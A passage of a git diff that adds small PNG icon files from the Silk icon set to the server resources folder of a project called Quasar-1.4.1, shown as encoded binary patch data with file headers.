z{^;nqJv-tM$9J1L2QJ2DN!#51=1_l@G`2=6e0lehL%sic%`_4--LFM}IF!KzJCseW zq1I3__Z40|e?qyK1__gzP(qrBf-G7SQbQ`#Lw94WVe(o`qg+f4hy;Qju)q#I(9{`% zQmAGomzhQ!b|gq>KqL@IkO~$=Koi}a$u6d07kiS}NoYVMJjAeZpaB*;wwcDdEbK@K zNP;B7RzhQ|H9AlUO<`J>m1(5R)Pb-iLBb@7Jp)}LHdAb-VVgYxVoTzGoqu{~a>6uj zeqCRFI9pC#h09bGwy9;oHcp6(RB%jeY^F=Ll!S+9JkVe4nDG7tJMQiP0000IqP)P)t-s|Ns9{ zaj7?J88>SgH)|PDaj7?J8G4$;jj`P~YZ-5l!G)~dH)|O>Y#>Z~F;RJOQ;aBAk1bex zv08kxTz<4%ezjhKw_k&~V1>G2g}Y&jN@9yjV~4$Dh`wfvz-Eq5XpX~dlE`e7$!?U& zZhtI8 z_2}&O>hJdI@b~NT_w4fc?eq8U^!V@d`tbGn@%H=j_51So`ttYt^Y{Do_xtqt`}O$y z_4)hu`uq3!`}h0&`1}0${QUU+{rUU*`TP9&{QUX-{rdd;`u+X;{r&s?{`~#@{Qmy@ z|Ns5|{{8>|{{R2~|Nl8bCffi201R|ePE!DDgouo(^7Qog{ry(ozoh^G0Io?yK~xwS zUBSCb15p$O(0v|v0t!}Q;|J)Z(MoLmW5N1o!JwRju z0ff)C|M+_C$bxwVHB6_gI8NzATDWJvopH;tIRW!%tsUAO9$HwtraDVnMm@d^JHs!( jxZQkDpN2mX!(8}lwk9A2Ze|&iZoIgAZ3MTi0rviU@eS5?r z4KA#JuLrmglUjU7y&F^VIw}$Rg3uR)V-k9U&=-WhAoK;n1)+F@6(FfbKq!_YoYN6- z@oomdg%KbsI|VMR`^0v};X*@SkkbJdKbzvy#h(jwfiBRE_p0E=F98r%Yr~OBPWzsj6v!X?6(f7#B3EJn O0000hj32+Ia2PFSwHp_;8^u8>r6{e*krHy43#H^jT&z}Wa&xpokqZtA zFR&Fehhe_gp*x{i&XLj%HzdqAeQvxDT1Rjn;gaWw} z5^~2QShuR2o0yn9fA7Y?Xzt(DKhn`?rmhAn(VT1h2r!!4rBZw52P-vSDzPZb#g$`y ztkj8XEoxZ`Y73PkKp{LJ5D~&7@Je_kT)~2i-c6l&IJJyK&5~gfN`_2W7%3TM2{XqE zQA8qFq861?%N|ZG0Wt%FLJ$TKq7Wo2$Odl0Q&0;JYFQzcn1MtBWCjLiAQxdE1Cmih zK`p|mAf*(48Y1z>=gVSoY2jATaZ?l66O4$*k`47+`l zweRoK+p__ghH^x(%m8DN8Gl-sYSGx#3kS}zEMMMC5wqj&noaWd37uvw=_X01NGD-Z+i^1;8t2&z(w`{C(PM?|mR`Ky`;pI zld+0ZK^TRQ&AxX;a%I->Ls?9Vv(;_9E)=9HE>13WHNsnHAS>LKQkMbVH_QE8X!1!(q^p{6+N_ X4^=JUQP|Z100000NkvXXu0mjfgEH)N literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_edit.png new file mode 100755 index 0000000000000000000000000000000000000000..fb2efb8775442af862ef0ef111f371e5857928d3 GIT binary patch literal 703 zcmV;w0zmzVP)FxeKF=OosmQ6jmTLP{}-6iF>nO8f(+aY2!Xm^*5Av6NhR zD0!Nar%`rnu~v@R4hO^8&iS41=VQN>+65QO>m_E!|B#IbuI^pAy5?9WYjHC`6;s8j z!_-hy%sJEya}KAD$C|Z-~!ZLFQctG09Uhp@QPcl?mU}7$E{?cz}t3fC%LK?;}5+keI!OTyHb6 z@j}nbBm-HHT&CJnb^IYBAVSCka_RdNzT74;XDve?FCx*eM2ky^TZSvCN4lf#zADBt{VLMZ58~8Xlk&tIj2}J+_M1=n24SuBB zC|kIW{HG=&F(WrHgY=^pRBSp=QTYN)m5{Hh{2@SBTQi04uPMk>dS9PrQdx|l%yhmz zOH#Sz0@1`YLTX0HPj&aS)SnFM)H&2CwbI1q`b)fRK1k<-HpW#}^Sv*{jiIgdH9W>t zQ6<#EFflVmJF;g{aA;S(kLP%K=NdiTT|X03N>|n%ZExo<#LO72ZdK{vlG)|{vIVoS lXs&IrKfQB()Zh|+zd6v%`rDz z6?4Z`Q8OB=D}|}4g>&PV`$y8ABR#`axw_DjV?F8$MI8o4(qhF!@oS#-Dpfr2Tk7gu z9B5~~P7lozrS3*l&J+jS95pZ;Ge^zP%+btIH_Ga?wKkxpL;-gq2|^GEK?n&XBBUXZ zCMo{&1?6``R7r{2s+7nwB?@Xv6aW!Hf{+9uB!UD8USfG}ociW{R6gA&tqw${Miktf zRU$+I2qJ_aB#BV`@POLpE*iIXQJ8xO`57WJB?@NB8W8~zq5x=qfp72b(XhD*{c(pa zou~Nz_6BYlW=0gUN`+M-hzOC05Pf-bljip0usq4cwd>S3mH099i0`wH$toF9a5bU? z5I{r_pzwJTEiBQnsfex2fE${BN?Y$)=AT@lie;i;W~>n)0OHExv#T`i+K&}q;Z~x% zuLCQ8B$u0}amOLLY9@%}#NgOi%g$~6ri!Vds_fbDl#>T@wC=7!^Aot2d479}?!HbW z*$6eqcr`C*eJwEdkCSfuyE`#n&&HzI*;w%0FZ)<=o_G qU&+mJGu#X}!_9Fs+#Jks_tsxXE+vBxy0Iew0000u4Z literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_form.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_form.png new file mode 100755 index 0000000000000000000000000000000000000000..807b862cfc087b70dcdd971af3ac92688484e998 GIT binary patch literal 467 zcmV;^0WAKBP)4nWfMy23V#h*$3p-!?D%AI~T5+JJ;5Qi)|`;Y?)XOj2U`VS70o zp1%L~Y4f1;U-b7MEOk38OU$EtImvzCpiEkKCg)@3^{;h@nc_6NuOBn7?ZF9Ev4w3+ zWiSxI_v2&k@_b{1R8kdeGLx;rFK&F@c}mqZ4YwJO$7q^VC6&nL^Y#-6g9F*zM-oa= z70W0^1X#=%!t{DQE-wCJ^Pd1r08&yFDUlL$EtoM3e+;?Hv-Nc(QI%=il9}v$`OS^N z)(TbAG~DLw><`m+N>!Xf5_@kR0j83~eKLh5sv-%=fC#``TU}jaG#UW`VS>Ph2!jLJ zROR&N$x3B;J002ov JPDHLkV1im=zq+`c!ZV_#bLfwVsVjK0G;lTPGJIhi-*RQ|Nn`P0u7%sf{#Ew*UZ z`QkYji|1Y{op+^d!PUw|H!2t3tXgubYRT=YWp}EV-)UT(*uFENeOE&FuB4tlslB^W z`gdpb?@6Du^Tn(+{TnY&*m!Nyrb|;dA78QM%G7OF<{UnJ_`v!_p=gTRZI zFJHcX^X3f*zj+4&@4@ihdm#P({fCbqKf>^*PoF*m(dW-!fZ!_-eT5L;zI_9R(oVAr zps?d93GxeO$ZqNAS^4S9m+yc7hTY%46ezyc)5S4FLX!31ZatSk5rzw;?`)l&7F`xt zoT`!07WZ)eQT7!kDqNg`!o6Jyao^wM>M}4a&6$_tlIG@eCMdBz9-*2|q`O!&U` zm?XoURTC%PtY!G!JnOXdy556ES7g?Cu`O6S>$R1}?RaL@-vP>EyXGYS+!?X<>cYE) znQuz>UH@-)Rqs)f6|YVH*5(;KSuSM@=TCiqap6ht`1{72woaR9-@lw+dM(3?vOe?a j{`Ra5`|d|<{l>rNOI!*I!@^{s2N*nE{an^LB{Ts5R?{_y literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_form_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_form_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..f8977f771a1efdf357004ebb34c12b10d24bf95a GIT binary patch literal 598 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GXl47##zALR|m<{~uVma+fp9k#N}^ zuFQwSrGVU>F3dY!p{Q!sk=~7WPo}8u^<~MQaIkgF-91h$5!D+bnlDAwY>KJd5>vM| zu5o*O^Uj3UU5Tx`liT;EbnHv(K9JFOIA_v{oGB;srku*3b~=ChnSz<;ie{ZJo^!Ey z?xoUsSIQP#tz2}Ya`DZoCAX@U+^$-7r+WFFw#4{JJ728x7Te>@x<5kpK(z9qSk=Q5 zOAjADd@5V-Qkm`D6vl@c%#SxtdkO;2o|P*;d;0V_2)uat^5v^a*4JGQuiw0R1Hy0K zl`*^nf%hO-FYzA80y5se|M2nSM;QL}>CYFc#dCHz%Ugm3GxeO$j+^(YFK&i{^KWK zzWo04_wT>%3n$kAWjA@cIEF|_#vVNA#gr(*`k*-dUH>$d#%M+5j6i8)`2(*0vOjqA zay0dd16|m9Z`psBxv0UmpMUuoD|02)z$ekFyZ5*qE_xg8;#~e#X7NKwzqSyaf)ei? zX2B0Qm1SxK)>S1b)wMqOMscT0g(~ZNI{bH#Y_Utm11j?0+FF&hK-qRX-TePYY3~f zgtoM;)~2M+AJew!(sr+7^KN&$cgxoJcJAGZGzzQ(AD(j#=leYm&p8hTfchUO*=18r zr!~koJq|$qh+zB()q@3G>7PU6y;(H$c~Nhe#3lU)C~l9VR_BJ=;N(S}WT3GGbJ~$L zY!^k>SWYq!Z~hmmJ4PWHsEvN4)9Gy^Z?)wOR0E3;1OdDR51!|xxx?Z3jR~6$3lGcS zw`wrecMQ|rMHQ4-uw*icvKH@8Qe-U(ejNgB1!Gqt;e8II!iaktI@}570bpEkH@7b5obwc$sUX75)sc{ zLoV$^I#`Q!&qeqKv2}x;Q6ZOcK?qbLvr>-a zyc(hY)2O@Nn=hiGX9AH(WK#{q_3OcQFyqRCxB{6^XTi-jVaae3jL(UZMoZqHPUiu` zFod;2WZ-*e#Qe)flJ*;9mgV@eat;ZSNkD%BUpZPjbEd(ZH>lOVM>tFq!k`K6p&rZ) zt12-&(V<8oA9F-Oc!oCq@PvQW{0``D3AONE*fZt6-G6K6?>+q?gw;DtTL1t607*qoM6N<$g3ymi=>Px# literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_form_magnify.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_form_magnify.png new file mode 100755 index 0000000000000000000000000000000000000000..7b7fbd17e39353723122664abae8461f3788227d GIT binary patch literal 612 zcmV-q0-ODbP)PDrjnPX=rH; zqQ${l4iyS4Fv&4giDwVmm?Q$ zhTL&8OyXERuCJ_Y++wrjMj8GD99k(+b> z<{<5wp8G;7au@E7lX7q%1U@V;^Dm<#Bbba-gga)&*~B}OVT z8FJ_8^ce^a9*{dnoOjg?w)UFTS_KNZh~pjN>QDihNJTD3CPDxgha7@4JUq?D&XIEY9KSYW_M1j`N1m2BQ6{jt9pgXOIG5 z7fYv3PRIVYk-8wpOV0eq;C3`{e8D((T~xwBz-I8+ZE$ y`XBWUUFlg}deaE*PP<-CUAQ$+zVt#$I(`F{%rIviW}jLB00009TL{7iX$V@PAta(9$|8b7D6wp-IURZdO^p#W zhGj%3h}IwkopYY&+|PAgc}vbAem;r__Cgn?7OtN?KmKI17sC;NJK>JG5gvFrVTMN# zW|%vN_vh}?(%S8}PbcQ9@iXId`-X{dTVVoMbkJeoYg zZe4x6LQzFH#h^6;2oKD`3ETs7$J)T!z`_|=FnatD=0;HwL7^lRK_n3h@B_uHVGm~Ku92vAS`gf?5Br# z8{9Z~kHXz3lDn}(5=ayYND`_NGav5KA9U$9znOkFMd9ugsm+;f5|St+frNR>{r5M? zxnXQ%jM1ZG)Va%*SCi!2P^2)Y=l}vFAwaUKcgHXPW0kkyS9ex(J9 zLu@IU7soQkH&cA1hmXWM zDZ#H?v3PJ5$Hq5OmbDN{wJ%9%wAR zT-Qu9!vIN`896F;t~rD&@Nfe0`Nv1rEgogE>hi36i1p_V%rE6ZqX5JdGmz-z3Rm#{ z+Z*c0z*?bg!mefM79{Zs`zK3~u)rkEuD#mHG}dlY@$@R6?<^o~D%1C9AK Udps;mZ~y=R07*qoM6N<$f`qvmMgRZ+ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_home.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_home.png new file mode 100755 index 0000000000000000000000000000000000000000..b60d0c85afc41d8888b874fb21fbb215a8678065 GIT binary patch literal 685 zcmV;e0#f~nP)I{hwZ<~aTagPdH^@uK zjY~?Dw;H9EMl7~jY&PfYJf}U+@AtF+YUNh@d;&9LB7zNj@9bW&y4W^QvDgey#Z(a$ zObs=~L{KwK1W{#5ln!@vbRT?hX7fc?Y${&J*Tmt>8vaK-T#*aFMOR5JtPGU-m&=A} z>TO{pOGy&t!=mG4xtM^3mKOte|UGJg?xP-rE$mV9Ba&%vrgIZ=IbKrquG}+;$3iho_m~IZ?q2fogS#R3qlEKgP5f zb4V+{nb+8a*%6*zK1`NoxG2O^Q9NgAj0pmk@4U(5NB5aEw}I1btqcwh5yvsj&CT4t zSL8s;X;8+f3SOuxj0=K*R0A{}A)k+EY-}V50x%;N*Wq#y<`|=@crHs*yjQ(1c>V1S zpUNF9?O#T1TuY%)U{Zb(?E`NqE$`v{vo;n^UCgH9MzS=+b0&&+^W}AtO2Rb}@>rRo0Q0^~dYKRD`il?SH=a@Wg zGEo%asTrQ@{?c`K*V%NlilCy12&#&tDXNN^VJesyYKp0%ig%Y$ftfK8Artf$>Q*=b T>SSUs00000NkvXXu0mjf_=`4z literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_key.png new file mode 100755 index 0000000000000000000000000000000000000000..998d65c6942453d764e0d5427e6a361cbdaca856 GIT binary patch literal 670 zcmV;P0%84$P)VY)5dRg+A)?a2)_PUQ=}3+N6D zvAM#+@`kM!V{-tZdE@rkmJI_g-<_cXFa;ngdkio&ynqp0w=gY5C?&SnjoM& zmLZk=!p^n}tjxWn(MBqDrqw?XSpzw#bPoa{5GYRc6RZqTzb8$8W`H2Mi*wCy7`V3k zOsG`{R2=|dh679l4TW;{JzHB(;tL}rw>7ZhztMPfA5xs}3CnT3=0E^5LqxE@KtZa3 zc=0nX$RaLJqAm+71(tu5g3x^B3ISA#L|9#Hl>J0*_#u*r(Q*-|Kf%>vam2^IDaOYa zu7s-kXN0N{VQKOOxzXorX+4NVgNR>ZY%rpxR3Z@J>HG=0dT;fHv(qz~&IfUadXIX= zdylHp+0@7W_G3iZ9>TDm;nyX4#||);*ozrNiA|a6zHD86?LYpuG{ZkEO_ z+;HhiElFxjo6yjHV871y>^#rs^RXwCT*&fzIWyybxb6!Br}uWWU;9$Bf*GKSsUj+v z8fuD(pk|l|qDo!0UmO{kxHx#D=eBF#)81E=FC^>ptVCh4Bz?ebSMrvWzAUg(nYV;x z&cwLV+rmnnxcZLBnJG~v2nK}tXOutoV-he?G$bx z+bC({FJWHT=iUt#X!bBen!k*-=p@PWvgC{e!HNhnW4l8{R)d>tR6uCaqq{zj!VO;W#; z=I-mb+9r}T#Z-x$suC48_VSB{1!iC0r8N1H^86&l9p|WTJgFy@`WU!f)*0Mw4O9TnqBr{Y-GHDVuib)O%q7o!E zKlFxCD=Me;C78Guop0xOj_&HYpW_Dm*t+3@`&{>Re&;#QbB+dp=6|HIxRxBDrUi@fE_t7hH*d!sYoQrtW@#bM76y@j{#K^yGu+Y%mKB@Gh?6AT=?YQ30NZKe^FU`jD8!o`SZhpef2|bb8oqiKx}PSX=Ml zPpyStYfYXXpH2?}Y{RJJ!2oi<&p};TK}S+S+g$})Z3*j525N|?ZghFxdh>+}pxvhG zGk`)6rXB-{4Ai03Fi?wD)KO4x$=GO0Jb&iKa}_{G#Q{4z9Iy-OF-d*(m3BeRA&BbK z^=B$Txc7MvKx%ipc$rQk6bd1cNFW#tVzpdGZF38^haSzwg)nqF-C@mC?4t@`l4KbR zED(uAP_0%`sZ@~5<@oh{JdRSS#JxhHz`fDY(Oa5JbMN<#=5;m;pU;Ql$_i!!0hrBZ z*ladLqfvM~9^R7|U^9XUg3!=7qi^>B;cyr;Gcz0@NfL}kBQlu`ip3)G`8-mo6!&OG z0KeZa(!a2D?#>(jWtk`Zu%CBwz)9;x96LS&gTVlc#ll5Bc_&U^-~hYbUf=g;9bv_m z_?>N1J()~yE-x=57K_24C(^PW7KQHHYn09vi~kY2ApYBHIAPfkv@9S(=c)EgTc jvoejazDXX-B1Y!m%PGQ6x$c z#f9@AK!Oh=jElv$CqBcNDKEr@t}K+jhk=(*)=6Nf9`DW>GPMDbI$#A zadnmXt6lDNZUb=D%3-T`<7 zxtL}GCkYVlWRqqF51NHf9Yl>2gOi8|vh54F$BDrs0>$iLAcx_0>Z+sNt2+U0SgfoD!Wm8sxbT>nyV*Byc6US+Mev^`pI%-cR#%pfrES|$2%tg@7${Im zLBJqCKm^~%kqyWahMtFC{m)BDn@^W+n<9Vs4o8^{xZi&Mv#JmPg~hDhyn9@iQaYl1 zb`JLD2V96U6l8WL=?n97fC_~~t>ED5npj0DEXy*Oju~q^dmy7QgiIy_{eJ&PQrd=O zTr3tLpD%!=R5+2n4HYIFZ-%8JGt|1(g~rh-D=YFj+Az zW(A5Kmc(%jan)&(SOLdLpDi*0KTl?3g3&8WuNWgH;XS@00@rm1q##!+l~R*`BVp_N zo+o>~-p$tT{t5Bs0?k82!-S(@;vSVo<7@Jfu3S^qP;(9ryrKIh{yWa!k>a)0QvY16 P00000NkvXXu0mjf=yc!b literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_put.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_put.png new file mode 100755 index 0000000000000000000000000000000000000000..c30cf59894473550b70d2ab97e2244af64c2ecd0 GIT binary patch literal 585 zcmV-P0=E5$P);No%bTEi-Lr>D_AI6iV#?A3~B^FfP%5GR1nd|DqtT_3=slpZLAdaE7%DZ zq7q}81xXPN76HNi^JdngC8_mhYI?w^U( z2gw6K?&>VvIx{ig&f_gAfExg@R2*<~)WC4e95q8rugZ<6&Z+ic)U*Onzk&oo-0>i| zIATHwf=EC_k<7^~keAhcD{H`r6aW_ify}`K%$&?2NJcK8;%KOhO|6b#^*;~+_kTbl z;Odxw3lN0NvI;PYFxpfMsWxLE%Z0^vw@I-i#zYz>Ufg_xS!EE)l=cip0Fkc0GbiElsF znK^ijVHt@UnK|0x!SlPMyan7K-~PV!>fW=oV5*oJs*0JRDPew=cw&P?(*;Eu5;d~( zYlq(NDUO%dUjxW~rt#|X#V_sY_PH1n-EQ~u$EWMFd)E6M=kt$dKcrzwpH{xkji3Jo X7}OeR*sz>k00000NkvXXu0mjfdXfo6 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_boxes.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_boxes.png new file mode 100755 index 0000000000000000000000000000000000000000..2adf79dd8f9edd77441c05ffba412d8e7da018c9 GIT binary patch literal 446 zcmV;v0YUzWP)-FgD_UiBU>hSmL z^7riW`0exe?)3QY^ZN1j`||bs^7s4m_xtqt`}O(z_WJww`}_C#`}g|$_x$|${r&m- z`}zF*`u+X-{{H;_{{R2~f$^@U00007bW%=J0BfoA^!@#lx1);y004qXL_t&-(}j;a z4#GeXL*ML9xC0UrB2~EmVd#)(sM1j;V^eGaqT!YPNroRH`eMnpEIs8oEZ_cZ>sNo% zUa1Sf<2({8Def@Cy30O^G~^ESD2pNN0O_v6q?rN8ifHJw(X&d3ESNT+)1oL+umLnY o^-&ocLC_GH;KhnciEube*gdg07*qoM6N<$f>v$*UjP6A literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_contract.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_contract.png new file mode 100755 index 0000000000000000000000000000000000000000..3585f94d611ca752a2e627eec6d07f8203c29466 GIT binary patch literal 547 zcmV+;0^I$HP)xhBK?{PAT#LZ1hW-T!t|5p9p`b~K3L-2ju*E^JkQ)1ep^i@O zO=b{e1r;|mMRr4XdiVLhU+?-1LR>b8k4JEKb|Q?7&0alocKG31%X{1b370S#E=Mlh z47uZGm_+aH)LdQtc4J|(HeC##9-i7&?TP(Wwxg%nvMFG?XeE!WwO?%4dh*C0g`0Ef zLWe*W2m~ULJ9D?Vcyg2zhfmSB_aH?q_}l12oh-VGO(x^z>t|%^tu|H~?#@1A}DkjYKCU z+(ih1ZZ45UNo*=A1>;x7$x=HZ6aOQ3vM@3>JKKNsNKIzQgqa};O9@HH9hc$e$c0Nt lWUm$`Yv+TzvlEdW`VF>D22IH@9z*~D002ovPDHLkV1mW`@~!{? literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_expand.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_expand.png new file mode 100755 index 0000000000000000000000000000000000000000..030cf7c37839cc02c5d08cb35de9f62640063c88 GIT binary patch literal 581 zcmV-L0=oT)P)bXLFrOI}#XAMrnzM!yjS$@!NeFNp5HyTkm?RpyuK%q>=#nO`L` zH==;V1|c9pf>tvp`m*qu(YM#h+5@Fh#;&%E$O|J1=7!iLIYm)$u;VZno}ZxjRuP@|>+C(Q4%^EH7|#@HX#1eW147;PK_BBq1TB ztSj<@D99YKNph?(W`E3bY~OK?cAwzMa0QZtGz8KlA(A^$=I%s7L~>CS1&w->X#C+#Snv+#Q#Y8#3W?Shv&pgYxkM5>5!j*M^V=GM TxI=}Z00000NkvXXu0mjfz>*Jk literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_list.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_list.png new file mode 100755 index 0000000000000000000000000000000000000000..982ef10815da7e83196bdfd5e56d0bcbf17071f0 GIT binary patch literal 494 zcmVQQ*)|Rb*of$tX6idS9z{jdazh~ zv08kxTz<4%ezjhKw_k&~V1>G2g}Y;iy<~{KW{bdRj>Blb|7?=TY?R4vl*(_G%Ws#= zaGB0>n$L5b(Q}>Bb)M9Apw)Sz*mphdS3W!4XVfpSyFlvyyS9+8L?%kM9sO-9ua)p=*o$mn!ZeC~HZW{k#&5+4kL kAQ6#MTk5tf=_u~H0IIoF8}PGV@Bjb+07*qoM6N<$g7h#I4FCWD literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_tree.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_tree.png new file mode 100755 index 0000000000000000000000000000000000000000..692eaa1085616c2035f0bd2c0a316e0ffff5fe88 GIT binary patch literal 457 zcmV;)0XF`LP)htI8_2}&O>hJdI z@b~NT_w4fc?eq8U^!V@d`tkPr^7Z@j_xtnn^Yi!n^!WSr`TO?z`}X_$_xbzx`uq3% z{P_L-`TP6%{QUa;{rdj?{Qmy`|Nq$(FslFn00(qZPE!DDsr2;y{gbz&ivR!she> z-T^@Woq2`N7vRT?dpq#`m#XKOr5!NZs)$*f4z^lZN-w(uv(K@K9-J6Y+cw2qI570K zEIl~Ud)qEz#=b+-bkX{?Dp^&jB#!_9008h0UlKyOA9M(t00000NkvXXu0mjfMjifn literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_split.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_split.png new file mode 100755 index 0000000000000000000000000000000000000000..a91c78a5c436ae57cc2609efb25c115a4b01d8f3 GIT binary patch literal 520 zcmV+j0{8uiP)duS=Ly?fM?8MH^Wx#7jrYe3uiJoxB~poHWZ_I?<4jWG_RV^Fa4>!S z<-_K7zwuyW>&Du8xwFPqte-A&3)t=#)n##f!d0DB7glf)6EYsY(dy7=k^w=~}g0OK393~W$5=0atlITpQLO+;BL(=rAq$z+S zAfPiSKr)@7L`NTxVX}xuDVk!L(P+eEGGTXThuP5)d*d;)>4filyUeE(_P_2jn@{+$ z|C!(OIit}CDY@|K(@!^pEn^)+ETDcHG z0Jez;%!*B6r4%|KZAzGCr~^&!6io-1l?bqDB7#c-x(F=MSfc4AaVdacC4&ET{L^(b zvT6G1ufy^4k9AX-C`D!>iL4b#$i_;XMi!QkXvVCBZLXtmO@9G#_%iGj4i?)00000< KMNUMnLSTX;N$uzW literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_tile_horizontal.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_tile_horizontal.png new file mode 100755 index 0000000000000000000000000000000000000000..8a1191c389aafecbb9493f14f13de25e34f36f71 GIT binary patch literal 432 zcmV;h0Z;ykP)~HSm3sN|U6QrN-pa}fa=>kAy*54Rm aM*ISgWgjfIBP3%00000 zld)=4K@^6+dv{}4Y=qQeVU@}tM6j^36YGGDjg6qBwU$%~R)ORVZ1Ms&K0^u{3%3Y@ zASi3DyPIt8obw-xdy|`4NnAWIGt8O8$DIG4DI$UwJ0D*?ez>}QJd2wWgoGrLH>*j= z98)mhgioKpzkdJr=^j8I;L-Z(Zf|K&t}H=B5I{sb07Vc1ist;z*mi*qFilZT>JuWO zErKAB$a3eP@ytuw=mWR~n@?`DXuN!PLcxWsZyk?Al4tUtK7 z)>|I1a-*~AvhwpT{I2S?3@|=ZS0WbcEP)Ci@sjI82t*x!DuCB1Ku(7eRva+(Xv$M6ewYRsoxVX5vxw*Q!y1To(y}iA@zP`Y~ zz{0}9#>U3T$jHjd%FN8n_xk?-|NjCg`F#KY00(qZPE!DDsr2;y{gbz&ivR!sj!8s8 zR2UhB!PORmP!I*s19poob^r!8HWn(P&iw!H_1Zj3>M`8ou8gd&e^8b(&8+ju}A?r{BSRHJgjLkpK%Ik zvM3JJ`R>?cZ!MZmMjQpIED8g1MJ*Te86}-e#3CUX|9t>_fhr_Ry020I0000Cf>sHv%`tE;Q6t*x%EuCK4Ju&}VPv9YqUva_?ZwY9akx3{>s zxVpN!ySux+y}ju0`s(re?DPBW^Zf4g{O|Sr@b>)j_x$tr{Pg$y^!WYt`2F_y{r39) z_xk?$`u_R*{`&m>`~3d<{r>;|{~Pt*1poj52Xs~RUxAApew|Pp`eh(Q(k|pSh9LsB0@Ye0LI(^BITjg flw!-0YVogMFOq6u8IPpS00000NkvXXu0mjf8}lo{ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_gallery.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_gallery.png new file mode 100755 index 0000000000000000000000000000000000000000..851950db7c285f586d7ee74bcc417f225bdf18c1 GIT binary patch literal 555 zcmV+`0@VG9P)CjNr zUW1fN1d-Gd7r2N>l%796-}n2KALIT2^YO?eu@~9M*vzf-7i;%d+Nwx^J95X|kPDY1 zGh9Mum^%l$6{Q6;tonHam& z&u-m)+9C;(lg!W0^P=Y{J$aeIu9KK&6b^;p+My?$?QijWYk;}0r)e}Am>WqzqNC`2 z&bQ6)?2D%u>Kdo4V?>9yzpnCg;~hszOJrF_;)Rg}bEBg#TjxYM(AWKi=r@UR2yLC= z^Xf3~moMO(#>D=QByLU;NZgGixEo2m zUZ+l-#NFwTM29LuhehJSZEZZ_k>_v$^`U`{uGrzP*mgoQg002ovPDHLkV1oRO19t!b literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_icons.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_icons.png new file mode 100755 index 0000000000000000000000000000000000000000..d5e3572ae3fbbaea8e02a9ffb7d842e36c56eea7 GIT binary patch literal 410 zcmV;L0cHM)P)gww2 z>+A5{K0nVCaNSXcjHhnbd9Db!#pDo#z zrCCnRiNbZSFO;fB)`7x}EEa}|@lL-o1eGa?Yz7!3dZ`0bnQ3BKNi`9ONg*3r5M<$`C*6y7qZL`y07*qoM6N<$ Ef`WzA4FCWD literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_list.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_list.png new file mode 100755 index 0000000000000000000000000000000000000000..acc30b853b3740bad231e4daa8e9f5a81f3f757b GIT binary patch literal 473 zcmV;~0Ve*5P)x=~R!WME*cb6K0H8ItD70ARH|h P00000NkvXXu0mjfzPQHT literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_tile.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_tile.png new file mode 100755 index 0000000000000000000000000000000000000000..003d6648ddab55cc55331edfb95054a3b4023bec GIT binary patch literal 404 zcmV;F0c-w=P)9=h>Avb9}NrvOn_>Q@O#T#Y{})f)BM&b8T66>R!bhM|Q)=ikKFj y)KGVwtp^MwsrC67-bFzu!t;6Q^%|k2MJ$kfh*aj@vhNOIJ zWFxBVQIH79u!vw98!Ll~y$OKnm}QK5wtxPNU<+B6{mDR{T_7M%l&baHE>bEbHX04+ zn+OzZ0e^b{APT{9E#RmJ5)l*`)B%#z1i)YIM#v1#3=Jvuyn6YS$$CoGDq?9U@APAh~ZOF>jp#TVKsZ^rDVDQJO z=z(unDix`Pp@6(DbUGbswOaq~fE^0}P{J^D(r7fOTCGyOUUzmBMUy*UwAN0eHX3ch z0VGKh>h*fm?RK3*p0=MB(nc}0O&K6sv)ObGuro)jd=1C!>krB`s44?r3Yg)uiG7!8OBL$a-Fo@&0(0LjNH2#KGJZi@q2YVKu xMc5!EfO4vTMwnf`nA&W_@!!aPwbiWO`5Vn?>V~$MffN7$002ovPDHLkV1l0g-PQmA literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_branch.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_branch.png new file 